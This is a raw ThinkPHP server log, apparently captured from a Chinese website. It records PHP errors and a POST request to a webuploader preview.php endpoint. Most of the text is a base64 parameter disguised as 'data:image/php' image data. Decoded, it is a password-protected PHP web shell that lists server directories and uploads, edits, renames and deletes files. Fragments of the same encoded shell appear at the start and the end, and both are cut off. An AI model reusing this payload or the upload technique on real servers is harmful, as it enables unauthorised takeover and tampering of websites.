PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-22T04:29:28+08:00 ] 119.42.146.234 POST 51tianwei.com/Public/webuploader/0.1.15/server/preview.php [运行时间:0.002838s] [吞吐率:352.37req/s] [内存消耗:196.66kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => '51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogI